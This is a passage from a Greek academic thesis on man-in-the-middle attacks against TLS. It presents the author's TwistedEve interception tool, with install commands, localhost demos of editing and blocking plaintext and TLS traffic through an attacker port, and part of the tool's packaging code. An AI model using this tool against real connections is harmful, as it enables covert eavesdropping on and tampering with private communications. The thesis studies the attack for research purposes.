δικαίωμα επικοινωνεί με τον PKG, ο οποίος χρησιμοποιεί το master ιδιωτικό κλειδί για
να παράξει το ιδιωτικό κλειδί για την τιμή ταυτότητας.
Η προσέγγιση αυτή, έχει σημαντικές εφαρμογές, π.χ. σε συστήματα ηλεκτρονικου
ταχυδρομείου στα πλαίσια οργανισμων. Δεδομένου, όμως, ότι απαιτεί κεντρικές αρχές
(PKG) που διατηρουν και διαχειρίζονται τα ιδιωτικά κλειδιά των συμμετεχόντων, δεν
μπορεί να εφαρμοστεί στα πλαίσια του διαδικτυου, οπότε δεν αποτελεί γενική λυση στα
προβλήματα αυθεντικοποίησης του TLS.
4.8 Άλλα
Ο Kai Engert ανέπτυξε το Conspiracy, ένα πρόσθετο του Firefox που παρέχει
πληροφορίες για τη χωρα προέλευσης μιας CA προκειμένου να προστατευσει τους
χρήστες από compelled certificate creation attacks. Το Conspiracy εμφανίζει τη σημαία
της χωρας προέλευσης της CA και με τον τρόπο αυτό επιτρέπει σε κάποιο βαθμό στους
χρήστες να παρατηρήσουν τυχόν αλλαγή στην αρχή πιστοποίησης κάποιου δικτυακου
τόπου, πράγμα που μπορεί να είναι ενδεικτικό επίθεσης ενδιάμεσου.
Οι Herzberg και Jbara ανέπτυξαν το TrustBar, ένα πρόσθετο για τον Firefox που
βοηθάει τους χρήστες να εντοπίσουν επιθέσεις ενδιάμεσου με την εμφάνιση του
ονόματος της CA που υπογράφει το πιστοποιητικό, ενω επιτρέπει στους χρήστες να
ορίσουν κάποιο όνομα ή λογότυπο για κάποιο πιστοποιητικό ωστε να εντοπίσουν τυχόν
αλλαγές.
Δημήτρης Μωραϊτης 57
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Ο Tyler Close ανέπτυξε το Petname Tool, ένα πρόσθετο για τον Firefox που αποθηκευει
πιστοποιητικά σε μια cache και επιτρέπει στο χρήστη να ορίσει μια φράση ανά δικτυακό
τόπο. Αν το πιστοποιητικό αλλάξει τότε η φράση αυτή δε θα εμφανιστεί.
Δεδομένης της σχετικά χαμηλής συχνότητας επιθέσεων ενδιάμεσου και του μεγάλου
αριθμου των δικτυακων τόπων που χρησιμοποιεί ένας μέσος χρήστης, το γνωστικό
βάρος που προσθέτουν στο χρήστη εργαλεία σαν τα παραπάνω φαίνεται να είναι
μάλλον υπερβολικό οπότε η χρησιμότητά τους περιορίζεται σε περιπτωσεις που η
πιθανότητα μιας τέτοιας επίθεσης είναι αυξημένη σε βαθμό που να δικαιολογεί την
επιβάρυνση του χρήστη.
Δημήτρης Μωραϊτης 58
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
5. Εργαλεία που αναπτύχθηκαν
5.1 TwistedEve
To TwistedEve είναι ένα εργαλείο που διευκολυνει τις επιθέσεις ενδιάμεσου τόσο σε
συνδέσεις TLS όσο και σε απλές, μη κρυπτογραφημένες, συνδέσεις. Δίνει τη
δυνατότητα στον επιτιθέμενο να παρακολουθήσει και να τροποποιήσει το περιεχόμενο
της επικοινωνίας, είτε χειροκίνητα, είτε μέσω αυτοματοποιημένων φίλτρων.
5.1.1 Εγκατασταση
Το TwistedEve μπορεί να εγκατασταθεί σαν οποιοδήποτε Python egg, μέσω setuptools
ή pip.
Παρόλα αυτά προτείνουμε την εγκατάσταση μέσω buildout, για ευκολότερη πρόσβαση
και παρέμβαση στα βοηθητικά φίλτρα και scripts:
$ git clone https://[email protected]/d-mo/TwistedEve.git
$ cd TwistedEve
$ python bootstrap.py
…
$ ./bin/buildout
…
Updating _mr.developer.
Updating eve.
Installing py.
$
5.1.2 Χρήση
5.1.2.1 Χειροκίνητη παρεμβαση σε μη κρυπτογραφημένες συνδέσειςΚαταρχήν ας σηκωσουμε στην πόρτα 50000 έναν εξυπηρετητή που απαντά πάντα ότι
συμφωνεί με αυτό που του λέμε:
$ ./bin/python helpers/agree.py &
$ nc localhost 50000
Δημήτρης Μωραϊτης 59
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Eve is cool
I agree that Eve is cool
^C
Στη συνέχεια ας σηκωσουμε το TwistedEve ωστε να ακουει στην πόρτα 40000 και να
προωθεί τα μηνυματα στην πόρτα 50000
$./bin/twistedeve -b localhost:40000 -t localhost:50000
2012-03-26 05:31:27+0300 [-] Log opened.
2012-03-26 05:31:27+0300 [-] Client2ServerProxyFactory
starting on 40000
2012-03-26 05:31:27+0300 [-] Starting factory
<twistedeve.client2server.Client2ServerProxyFactory instance at
0x1006cc4d0>
2012-03-26 05:31:27+0300 [-] AttackShellFactory starting on
31337
2012-03-26 05:31:27+0300 [-] Starting factory
<twistedeve.attackshell.AttackShellFactory instance at
0x1018325a8>
Μπορουμε τωρα αφενός να συνδεθουμε στην πόρτα 31337 ως επιτιθέμενοι και
αφετέρου στην πόρτα 40000 ως πελάτες. Ο επιτιθέμενος ειδοποιείται και μπορεί να
τροποποιήσει ή να μπλοκάρει τα μηνυματα που ανταλλάσσουν τα δυο μέρη:
$ nc localhost 31337
Hello Eve!
0: Intercepted message from client
---begin---
Eve is weird
----end----
0: (f)orward it, (e)dit it, (b)lock it? e
Δημήτρης Μωραϊτης 60
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Eve is cool
0: OK! Edited
1: Intercepted message from server
---begin---
I agree that Eve is cool
----end----
1: (f)orward it, (e)dit it, (b)lock it? f
1: OK! Forwarded
5.1.2.2 Αυτόματη παρέμβαση σε μη κρυπτογραφημένες συνδέσειςΑντί να τροποποιουμε κάθε μήνυμα χειροκίνητα, μπορουμε να φορτωσουμε ένα απλό
φίλτρο που θα κάνει τη δουλειά αυτή αυτόματα. Το censor.py που έρχεται μαζί με το
TwistedEve είναι ένα απλό παράδειγμα φίλτρου που αντικαθιστά τις “κακές” λέξεις με
καλυτερες, σε όσα μηνυματα αναφέρεται το όνομα Eve.
$ ./bin/twistedeve -b localhost:40000 -t localhost:50000 -f
filters/censor.py
Loaded censoring filter
2012-03-26 05:43:14+0300 [-] Log opened.
2012-03-26 05:43:14+0300 [-] Client2ServerProxyFactory
starting on 40000
2012-03-26 05:43:14+0300 [-] Starting factory
<twistedeve.client2server.Client2ServerProxyFactory instance at
0x1006cc4d0>
2012-03-26 05:43:14+0300 [-] AttackShellFactory starting on
31337
2012-03-26 05:43:14+0300 [-] Starting factory
<twistedeve.attackshell.AttackShellFactory instance at
0x10187b098>
Δημήτρης Μωραϊτης 61
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Αν δοκιμάσουμε τωρα να κακολογήσουμε την Eve, οι κακοί χαρακτηρισμοί θα
αντικατασταθουν με κοπλιμέντα πριν φτάσουν στον εξυπηρετητή:
$ telnet localhost 40000
Eve is weird
I agree that Eve is amazing
Eve is a fat bitch
I agree that Eve is a fit mermaid
^C
5.1.2.3 Παρέμβαση σε συνδέσεις TLSTo TwistedEve μπορεί να χρησιμοποιηθεί εναντίων συνδέσεων TLS, αρκεί να του
δωσουμε ένα κλειδί και ένα πιστοποιητικό ή μία αλυσίδα πιστοποιητικων X.509.
Ας αρχίσουμε σηκωνοντας έναν εξυπηρετητή σαν τον προηγουμενο, που όμως ακουει
μόνο μέσω TLS.
$ ./bin/python helpers/tlsagree.py &
Μπορουμε τωρα να πραγματοποιήσουμε μια επίθεση ενδιάμεσου στη συνδεση TLS και
να φιλτράρουμε το περιεχόμενο της επικοινωνίας κατά το δοκουν. Στην απλουστερη
περίπτωση χρησιμοποιουμε ένα αυτο-υπογεγραμένο πιστοποιητικό.
$ ./bin/twistedeve -b localhost:40000 -t localhost:50000 \
-k helpers/server.key -c helpers/server.crt -f
filters/censor.py
Αν τωρα στείλουμε ένα μήνυμα μέσω TLS, θα δουμε ότι θα φιλτραριστεί:
$ ./bin/python helpers/tlsnc.py localhost 40000
Δημήτρης Μωραϊτης 62
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Eve is fat and stupid
I agree that Eve is fit and smart
^C
5.1.2.4 Πληροφορίες για συνδέσεις TLSΤο TwistedEve έρχεται μαζί με ένα φίλτρο που δίνει πληροφορίες σχετικά με τον αριθμό
έκδοσης και τις υποστηριζόμενες σουίτες κρυπταλγορίθμων που υποστηρίζει ο πελάτης,
καθως και αυτές που τελικά επιλέγει ο εξυπηρετητής:
$ ./bin/twistedeve -b localhost:40000 -t localhost:50000 \
-k helpers/server.key -c helpers/server.crt -f \
filters/tlsinfo.py
TLS key loaded
2012-03-26 03:49:47+0300 [-] Log opened.
2012-03-26 03:49:47+0300 [-] Client2ServerProxyFactory
starting on 40000
2012-03-26 03:49:47+0300 [-] Starting factory
<twistedeve.client2server.Client2ServerProxyFactory
instance at 0x1006cc4d0>
2012-03-26 03:49:47+0300 [-] AttackShellFactory starting on
31337
2012-03-26 03:49:47+0300 [-] Starting factory
<twistedeve.attackshell.AttackShellFactory instance at
0x10187a4d0>
2012-03-26 03:49:49+0300
[twistedeve.client2server.Client2ServerProxyFactory]
Starting factory
<twistedeve.server2client.Server2ClientProxyFactory
instance at 0x10187c248>
2012-03-26 03:49:49+0300 [Client2ServerProxy,0,127.0.0.1]
Client supports TLS version: (3, 2)
Δημήτρης Μωραϊτης 63
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
2012-03-26 03:49:49+0300 [Client2ServerProxy,0,127.0.0.1]
Client supports ciphersuites: [255,
'TLS_RSA_WITH_AES_256_CBC_SHA',
'TLS_RSA_WITH_AES_128_CBC_SHA', 'TLS_RSA_WITH_RC4_128_SHA',
'TLS_DH_anon_WITH_AES_256_CBC_SHA']
2012-03-26 03:49:49+0300 [Server2ClientProxy,client] Server
selected TLS version: (3, 2)
2012-03-26 03:49:49+0300 [Server2ClientProxy,client] Server
selected ciphersuite: TLS_RSA_WITH_AES_256_CBC_SHA
2012-03-26 03:49:49+0300 [Server2ClientProxy,client]
Stopping factory
<twistedeve.server2client.Server2ClientProxyFactory
instance at 0x10187c248>
5.2 TLSLite
Η TLSLite είναι μια υλοποίηση των SSLv3/TLSv1/TLSv1.1 σε Python από τον Trevor
Perrin [trevp.net]. Η τελευταία επίσημη έκδοση (0.4.0) κυκλοφόρησε τον Φεβρουάριο
του 2012 και υποστηρίζει authentication με SRP, shared-keys, cryptoID, X.509, καθως
και το πρωτόκολλο TACK του συστήματος Convergence.
Για τις ανάγκες τις εργασίας, επεκτείναμε την TLSLite ωστε να υποστηρίζει ανωνυμη
πιστοποίηση με Diffie Hellman συμφωνα με το RFC2246
https://github.com/d-mo/tlslite
Δημήτρης Μωραϊτης 64
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
6. ΣΥΜΠΕΡΑΣΜΑΤΑ
Το TLS ξεκίνησε να αναπτυσσεται στις αρχές της δεκαετίας του ‘90. Την εποχή εκείνη
δεν υπήρχαν αρκετές διαθέσιμες γνωσεις για το πως αναπτυσσονται ασφαλή
κρυπτογραφικά πρωτόκολλα, ουτε μεγάλη εμπειρία σε σχετικές εφαρμογές. Για να
χρησιμοποιηθεί ένας κρυπτογραφικός αλγόριθμος σαν τον RSA έπρεπε να αγοραστεί η
άδεια χρήσης του, ενω δεν υπήρχε ουτε ηλεκτρονικό εμπόριο, ουτε εφαρμογές στον
παγκόσμιο ιστό. Το ίδιο το διαδίκτυο ήταν πολυ μικρότερο, με λιγότερους από 5.000.000
συνδεδεμένους υπολογιστές τη στιγμή που σήμερα οι υπολογιστές με δημόσιες
διευθυνσεις IP έχουν φτάσει τα 4 δις που είναι και τα όρια του IPv4. Την εποχή εκείνη, οι
επιθέσεις ενδιάμεσου ήταν κατά βάση θεωρητικές μιας και δεν υπήρχαν τα απαραίτητα
εργαλεία για να πραγματοποιηθουν. Τέλος, κομβικό ρόλο στην ανάπτυξη του
πρωτοκόλλου και έπαιξε η Netscape, σε μια περίοδο τεράστιας πίεσης, όταν
εκτινασσόταν για πρωτη φορά η χρήση του παγκόσμιου ιστου.
Το συστημα αυθεντικοποίησης του TLS μέσω του X.509 και την ιεραρχίας των Αρχων
Πιστοποίησης φαίνεται να έχει σχεδιαστεί ωστε να αντιμετωπίζει ένα διαφορετικό
μοντέλο απειλων από αυτό που έχει διαμορφωθεί πλέον στο διαδίκτυο και τον
παγκόσμιο ιστό. Δεν παρέχει πλέον την επιθυμητή ασφάλεια, αντιθέτως δίνει τη
δυνατότητα πραγματοποίησης επιθέσεων ενδιάμεσου σε όσους έχουν την απαραίτητη
εξουσία, χρήματα, ή τις τεχνικές γνωσεις προκειμένου να αποκτήσουν πρόσβαση σε μία
από τις πολλές CA. Δεδομένου του κοινωνικου ρόλου που παίζει πλέον το διαδίκτυο,
είναι επείγουσα η ανάγκη να παρθουν μέτρα που θα αντιμετωπίζουν τα προβλήματα
αυτά τόσο σε βραχυπρόθεσμο, όσο και σε μακροπρόθεσμο επίπεδο και θα
διασφαλίζουν τη δυνατότητα πραγματοποίησης ασφαλων επικοινωνιων και συναλλαγων
μέσω του διαδικτυου και κυρίως του παγκόσμιου ιστου.
Σε αυτά τα πλαίσια, βλέπουμε να κατατίθενται προτάσεις σε τρεις κατευθυνσεις.
1. Κάποιες εστιάζουν στη βελτίωση του συστήματος των Αρχων Πιστοποίησης, είτε
με καλυτερα όρια στο τι μπορεί να υπογράφει κάποια CA, είτε με τη δημιουργία
δημόσιων μηχανισμων επαλήθευσης πιστοποιητικων (Sovereign Keys, CATA).
2. Αλλες προτείνουν την αντικατάσταση των CA με άλλο ιεραρχικό συστημα
εμπιστοσυνης, βελτιωμένο σε σημεία αλλά τελικά ισοδυναμο, αφου δεν
προβλέπει δυνατότητα ανάκλησης της εμπιστοσυνης. Στην κατευθυνση αυτή
είναι η αξιοποίηση του DNSSec για την αποθήκευση πιστοποιητικων.
Δημήτρης Μωραϊτης 65
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
3. Πιο ενδιαφέρουσα φαίνεται κατευθυνση της αντικατάστασης των CA με ένα
συστημα που παρέχει ευελιξία εμπιστοσυνης. Η αποτελεσματικότερη και πιο
ευκολα υλοποιήσιμη πρόταση σε αυτή την κατευθυνση είναι το Convergence.
Πολλές από τις παραπάνω προτάσεις είναι συμπληρωματικές και μπορουν να
λειτουργήσουν παράλληλα. Για παράδειγμα μπορουμε να χρησιμοποιήσουμε
Convergence με εππλέον notaries που αυθεντικοποιουν και μέσω DNSSec &
MonkeySphere/OpenPGP.
Τη μεγαλυτερη επιρροή σε αυτή τη συζήτηση έχουν οι κατασκευαστές εφαρμογων
πελάτη και κυρίως εφαρμογων πλοήγησης του παγκόσμιου ιστου. Ο Adam Langley,
ερευνητής ασφάλειας συστημάτων της Google και μηχανικός του Chrome, γράφει στο
ιστολόγιό του το εξής σε δημοσίευμα με τίτλο “Γιατί όχι Convergence”:
“Παρόλο που η ιδέα της ευελιξίας εμπιστοσύνης είναι καλή, το 99,99% των
χρηστών του Chrome δεν θα άλλαζε ποτέ τις προεπιλογές. Επιπλέον δεν πιστεύω
πως μια επιλογή ρύθμισης προσαρμοσμένων notaries θα μπορούσε να πιάσει τα
στάνταρ ένταξης στη διεπαφή ρυθμίσεων”
Σε σχετική ερωτηση, μηχανικοί του Mozilla Firefox ανέφεραν ότι δεν υπάρχουν σχέδια
ένταξης του Convergence στον πυρήνα του Firefox.
Παρόλο που μια ένταξη του Convergence σε Chrome και Firefox ίσως να είναι πρωιμη,
το επιχείρημα του Langley δεν είναι πειστικό. Το μοντέλο που προτείνει το Convergence
είναι απλουστερο και προσεγγίζει πολυ καλυτερα την πραγματικότητα από την
αυθαίρετη ιεραρχία των Αρχων Πιστοποίησης. Αυτό που τελικά πρέπει να
διαχειριστουμε, είναι η εμπιστοσυνη. Ομως η απάντηση στην ερωτηση “ποιον
εμπιστευεσαι;” δεν μπορεί να είναι η ίδια για όλους σε όλες τις περιπτωσεις. Θα πρέπει
οι εφαρμογές πελάτη μέσα από ευχρηστες διεπαφές να βοηθουν τους τελικους χρήστες
να δωσουν τις δικές τους απαντήσεις και να τις αναθεωρήσουν οποιαδήποτε στιγμή.
Δημήτρης Μωραϊτης 66
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
ΠΙΝΑΚΑΣ ΟΡΟΛΟΓΙΑΣ
Ξενογλωσσος ορος Ελληνικος ΌροςMessage Authentication Codes Κωδικες Αυθεντικοποίησης ΜηνυμάτωνCipher ΚρυπταλγόριθμοςCiphersuite Σουίτα κρυπταλγορίθμωνMessage Digest Συνοψη μηνυματοςPadding ΠαραγέμισμαMaster Secret Κυριο μυστικό κλειδίMan-in-the-middle attacks Επιθέσεις ενδιάμεσουWeb browser Εφαρμογή πλοήγησης παγκόσμιου ιστουNotaries Συμβολαιογράφοι
Δημήτρης Μωραϊτης 67
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Δημήτρης Μωραϊτης 68
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
7. ΣΥΝΤΜΗΣΕΙΣ – ΑΡΚΤΙΚΟΛΕΞΑ – ΑΚΡΩΝΥΜΙΑ
SSL Secure Socket Layer
TLS Transport Layer Security
IETF Internet Engineering Task Force
MAC Message Authentication Codes
WWW World Wide Web
HTTP HyperText Transport Protocol
IV Initialization Vector
PGP Pretty Good Privacy
WoT Web of Trust
CA Certificate Authority
CN Common Name
CBC Cipher Block Chaining
EFF Electronic Frontier Foundation
OSCP Online Certificate Status Protocol
BEAST Browser Exploit Against SSL/TLS
CATA Certificate Authority Transparency and Auditability
VPN Virtual Private Network
DNS Domain Name System
MITM Man-in-the-middle
ΕΚΠΑ Εθνικό και Καποδιστριακό Πανεπιστήµιο Αθηνων
Δημήτρης Μωραϊτης 69
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Δημήτρης Μωραϊτης 70
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
8. ΠΑΡΑΡΤΗΜΑ Ι
Παρακάτω παρατίθεται ο πλήρης πηγαίος κωδικας της εφαρμογής TwistedEve που αναπτυχθηκε στα πλαίσια αυτής της εργασίας.
README.txt
Introduction
===============
Eve has the twisted habit of eavesdropping all communication between her
friends, Alice and Bob. But she also hates being gossiped upon, so she wants to
be able to edit any message sent between Alice and Bob in real time, in order to
replace it with a more acceptable one.
TwistedEve is a tool that facilitates eavesdropping and
man-in-the-middle attacks.
Assuming that you are in a man-in-the-middle position between Alice and
Bob, you should be able to redirect all traffic from Alice's client
heading to Bob's server. Forward it to a port of your choice and start
TwistedEve on that port. TwistedEve will act as a proxy,
while logging all exchanged messages and providing you with a backdoor
to intercept and optionally edit the content of the messages.
When an eavesdropper is connected to the backdoor port (31337 by default),
TwistedEve will delay all messages for a configurable amount of time (3 seconds
by default). During that time the eavesdropper will have the option to forward,
edit, or block the message. After that time the message will be forwarded
automatically unless the eavesdropper chose to edit or block it.
TwistedEve uses Twisted, the asynchronous networking framework and TLSlite, a
native implementation of SSL/TLS in Python.
Installation
===============
You can install like any Python egg using setuptools or pip, but it's better
to use buildout:
$ git clone https://[email protected]/d-mo/TwistedEve.git
$ cd TwistedEve
$ python bootstrap.py
...
$ ./bin/buildout
...
Updating _mr.developer.
Δημήτρης Μωραϊτης 71
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Updating eve.
Updating py.
Usage
===============
Usage: twistedeve [options]
Options:
-h, --help show this help message and exit
-b HOST:PORT, --bind=HOST:PORT
address to bind to
-t HOST:PORT, --target=HOST:PORT
target host and port to forward data
-a HOST:PORT, --attack=HOST:PORT
host and port for the attacker to connect to
-d DELAY, --delay=DELAY
number of seconds to delay messages if attacker is
connected
-k KEY, --key=KEY TLS private key file
-c CHAIN, --certchain=CHAIN
X.509 cert chain
-f FILTER, --filter=FILTER
script file for auto-filtering
Examples
===============
Let's first start a simple server that agrees to everything it's told:
$ ./bin/python helpers/agree.py &
$ nc localhost 50000
Eve is cool
I agree that Eve is cool
^D
Manual mode
---------------
Now let's start up TwistedEve in manual mode to listen at port 40000 and
forward to port 50000
$ ./bin/twistedeve -b localhost:40000 -t localhost:50000
2012-03-26 01:58:41+0300 [-] Log opened.
2012-03-26 01:58:41+0300 [-] Client2ServerProxyFactory starting on 40000
2012-03-26 01:58:41+0300 [-] Starting factory
<twistedeve.client2server.Client2ServerProxyFactory instance at 0x1006cc4d0>
Δημήτρης Μωραϊτης 72
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
2012-03-26 01:58:41+0300 [-] AttackShellFactory starting on 31337
2012-03-26 01:58:41+0300 [-] Starting factory
<twistedeve.attackshell.AttackShellFactory instance at 0x1018325a8>
We should now be able to telnet to the backdoor port (31337 by default) in
order to edit, block, or forward messages in real time.
$ telnet localhost 31337
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Hello Eve!
Automatic mode
---------------
We can also configure TwistedEve to use an automatic filter script, like the
censor.py in ./filters/ directory
$ ./bin/twistedeve -b localhost:40000 -t localhost:50000 -f filters/censor.py
Loaded censoring filter
...
If we now send a message to port 40000 that contains bad words about Eve, the
bad words will be replaced with nice ones before reaching the server:
$ netcat localhost 40000
Eve is a ugly bitch
I agree that Eve is a georgeous mermaid
^D
Checkout the filters folder for examples on making your own filters.
TLS filtering
--------------
You can also use TwistedEve against TLS connections by supplying a server key
and a certificate chain.
Let's first start a TLS enabled server that agrees to everything it's told:
$ ./bin/python helpers/tlsagree.py &
Now let's load our filter over TLS, effectively running a man in the middle
attack using our self signed certificate:
$ ./bin/twistedeve -b localhost:40000 -t localhost:50000 \
-k helpers/server.key -c helpers/server.crt -f filters/censor.py
Δημήτρης Μωραϊτης 73
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
Let's send a message over TLS to confirm that it's filtered:
$ ./bin/python helpers/tlsnc.py localhost 40000
Eve is fat and stupid
I agree that Eve is fit and smart
^C
TLS version & ciphersuite detection
------------------------------------
You can use the tlsinfo.py filter script to detect the TLS version and the
cipher suites that are offered by the client and selected by the server:
$ ./bin/twistedeve -b localhost:40000 -t localhost:50000 \
-k helpers/server.key -c helpers/server.crt -f filters/tlsinfo.py
TLS key loaded
2012-03-26 03:49:47+0300 [-] Log opened.
2012-03-26 03:49:47+0300 [-] Client2ServerProxyFactory starting on 40000
2012-03-26 03:49:47+0300 [-] Starting factory
<twistedeve.client2server.Client2ServerProxyFactory instance at 0x1006cc4d0>
2012-03-26 03:49:47+0300 [-] AttackShellFactory starting on 31337
2012-03-26 03:49:47+0300 [-] Starting factory
<twistedeve.attackshell.AttackShellFactory instance at 0x10187a4d0>
2012-03-26 03:49:49+0300 [twistedeve.client2server.Client2ServerProxyFactory]
Starting factory <twistedeve.server2client.Server2ClientProxyFactory instance at
0x10187c248>
2012-03-26 03:49:49+0300 [Client2ServerProxy,0,127.0.0.1] Client supports TLS
version: (3, 2)
2012-03-26 03:49:49+0300 [Client2ServerProxy,0,127.0.0.1] Client supports
ciphersuites: [255, 53, 47, 5]
2012-03-26 03:49:49+0300 [Server2ClientProxy,client] Server selected TLS version:
(3, 2)
2012-03-26 03:49:49+0300 [Server2ClientProxy,client] Server selected ciphersuite:
53
2012-03-26 03:49:49+0300 [Server2ClientProxy,client] Stopping factory
<twistedeve.server2client.Server2ClientProxyFactory instance at 0x10187c248>
Δημήτρης Μωραϊτης 74
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
setup.py
from setuptools import setup
from setuptools import find_packages
import sys
import os
version = '0.2'
setup(name='TwistedEve',
version=version,
description="An eavesdropping & man-in-the-middle attack tool",
long_description=open("README.txt").read(),
classifiers=["Framework :: Twisted",
"License :: OSI Approved :: GNU Affero General Public \
License v3"
],
keywords='mitm tls twisted proxy',
author='Dimitris Moraitis',
author_email='[email protected]',
url='https://unweb.me/projects/twistedeve',
license='AGPL',
packages=find_packages('src'),
package_dir = '':'src',
include_package_data=True,
zip_safe=False,
install_requires=[
# -*- Extra requirements: -*-
'Twisted',
'tlslite>0.3.8',
],
dependency_links=[
'https://nodeload.github.com/d-mo/tlslite/tarball/master#egg=tlslite-
0.3.9dev',
],
entry_points=
'console_scripts': [
'twistedeve = twistedeve.main:main',
],
)
Δημήτρης Μωραϊτης 75
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
buildout.cfg
[buildout]
extensions =
# buildout.dumppickedversions
mr.developer
parts = eve
py
sources = sources
auto-checkout = *
versions = versions
develop = .
src/tlslite
[eve]
recipe = zc.recipe.egg
eggs = TwistedEve
[py]
recipe = zc.recipe.egg
eggs =
ipython
readline
$eve:eggs
scripts = ipython=python
[sources]
tlslite = git https://github.com/d-mo/tlslite.git
[versions]
Twisted = 12.0.0
ipython = 0.12
mr.developer = 1.20
zc.buildout = 1.5.2
zc.recipe.egg = 1.3.2
zope.interface = 3.8.0
Δημήτρης Μωραϊτης 76
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
bootstrap.py
##############################################################################
#
# Copyright (c) 2006 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE.
#
##############################################################################
"""Bootstrap a buildout-based project
Simply run this script in a directory containing a buildout.cfg.
The script accepts buildout command-line options, so you can
use the -c option to specify an alternate configuration file.
"""
import os, shutil, sys, tempfile, urllib, urllib2, subprocess
from optparse import OptionParser
if sys.platform == 'win32':
def quote(c):
if ' ' in c:
return '"%s"' % c # work around spawn lamosity on windows
else:
return c
else:
quote = str
# See zc.buildout.easy_install._has_broken_dash_S for motivation and comments.
stdout, stderr = subprocess.Popen(
[sys.executable, '-Sc',
'try:\n'
' import ConfigParser\n'
'except ImportError:\n'
' print 1\n'
'else:\n'
' print 0\n'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
has_broken_dash_S = bool(int(stdout.strip()))
Δημήτρης Μωραϊτης 77
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
# In order to be more robust in the face of system Pythons, we want to
# run without site-packages loaded. This is somewhat tricky, in
# particular because Python 2.6's distutils imports site, so starting
# with the -S flag is not sufficient. However, we'll start with that:
if not has_broken_dash_S and 'site' in sys.modules:
# We will restart with python -S.
args = sys.argv[:]
args[0:0] = [sys.executable, '-S']
args = map(quote, args)
os.execv(sys.executable, args)
# Now we are running with -S. We'll get the clean sys.path, import site
# because distutils will do it later, and then reset the path and clean
# out any namespace packages from site-packages that might have been
# loaded by .pth files.
clean_path = sys.path[:]
import site # imported because of its side effects
sys.path[:] = clean_path
for k, v in sys.modules.items():
if k in ('setuptools', 'pkg_resources') or (
hasattr(v, '__path__') and
len(v.__path__) == 1 and
not os.path.exists(os.path.join(v.__path__[0], '__init__.py'))):
# This is a namespace package. Remove it.
sys.modules.pop(k)
is_jython = sys.platform.startswith('java')
setuptools_source = 'http://peak.telecommunity.com/dist/ez_setup.py'
distribute_source = 'http://python-distribute.org/distribute_setup.py'
# parsing arguments
def normalize_to_url(option, opt_str, value, parser):
if value:
if '://' not in value: # It doesn't smell like a URL.
value = 'file://%s' % (
urllib.pathname2url(
os.path.abspath(os.path.expanduser(value))),)
if opt_str == '--download-base' and not value.endswith('/'):
# Download base needs a trailing slash to make the world happy.
value += '/'
else:
value = None
name = opt_str[2:].replace('-', '_')
setattr(parser.values, name, value)
usage = '''\
Δημήτρης Μωραϊτης 78
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
[DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options]
Bootstraps a buildout-based project.
Simply run this script in a directory containing a buildout.cfg, using the
Python that you want bin/buildout to use.
Note that by using --setup-source and --download-base to point to
local resources, you can keep this script from going over the network.
'''
parser = OptionParser(usage=usage)
parser.add_option("-v", "--version", dest="version",
help="use a specific zc.buildout version")
parser.add_option("-d", "--distribute",
action="store_true", dest="use_distribute", default=False,
help="Use Distribute rather than Setuptools.")
parser.add_option("--setup-source", action="callback", dest="setup_source",
callback=normalize_to_url, nargs=1, type="string",
help=("Specify a URL or file location for the setup file. "
"If you use Setuptools, this will default to " +
setuptools_source + "; if you use Distribute, this "
"will default to " + distribute_source + "."))
parser.add_option("--download-base", action="callback", dest="download_base",
callback=normalize_to_url, nargs=1, type="string",
help=("Specify a URL or directory for downloading "
"zc.buildout and either Setuptools or Distribute. "
"Defaults to PyPI."))
parser.add_option("--eggs",
help=("Specify a directory for storing eggs. Defaults to "
"a temporary directory that is deleted when the "
"bootstrap script completes."))
parser.add_option("-t", "--accept-buildout-test-releases",
dest='accept_buildout_test_releases',
action="store_true", default=False,
help=("Normally, if you do not specify a --version, the "
"bootstrap script and buildout gets the newest "
"*final* versions of zc.buildout and its recipes and "
"extensions for you. If you use this flag, "
"bootstrap and buildout will get the newest releases "
"even if they are alphas or betas."))
parser.add_option("-c", None, action="store", dest="config_file",
help=("Specify the path to the buildout configuration "
"file to be used."))
options, args = parser.parse_args()
Δημήτρης Μωραϊτης 79
Επιθέσεις ενδιάμεσου στο πρωτόκολλο TLS
# if -c was provided, we push it back into args for buildout's main function
if options.config_file is not None:
args += ['-c', options.config_file]
if options.eggs:
eggs_dir = os.path.abspath(os.path.expanduser(options.eggs))
else:
eggs_dir = tempfile.mkdtemp()
if options.setup_source is None:
if options.use_distribute:
options.setup_source = distribute_source
else:
options.setup_source = setuptools_source
if options.accept_buildout_test_releases:
args.append('buildout:accept-buildout-test-releases=true')
args.append('bootstrap')
try:
import pkg_resources
import setuptools # A flag. Sometimes pkg_resources is installed alone.
if not hasattr(pkg_resources, '_distribute'):
raise ImportError
except ImportError:
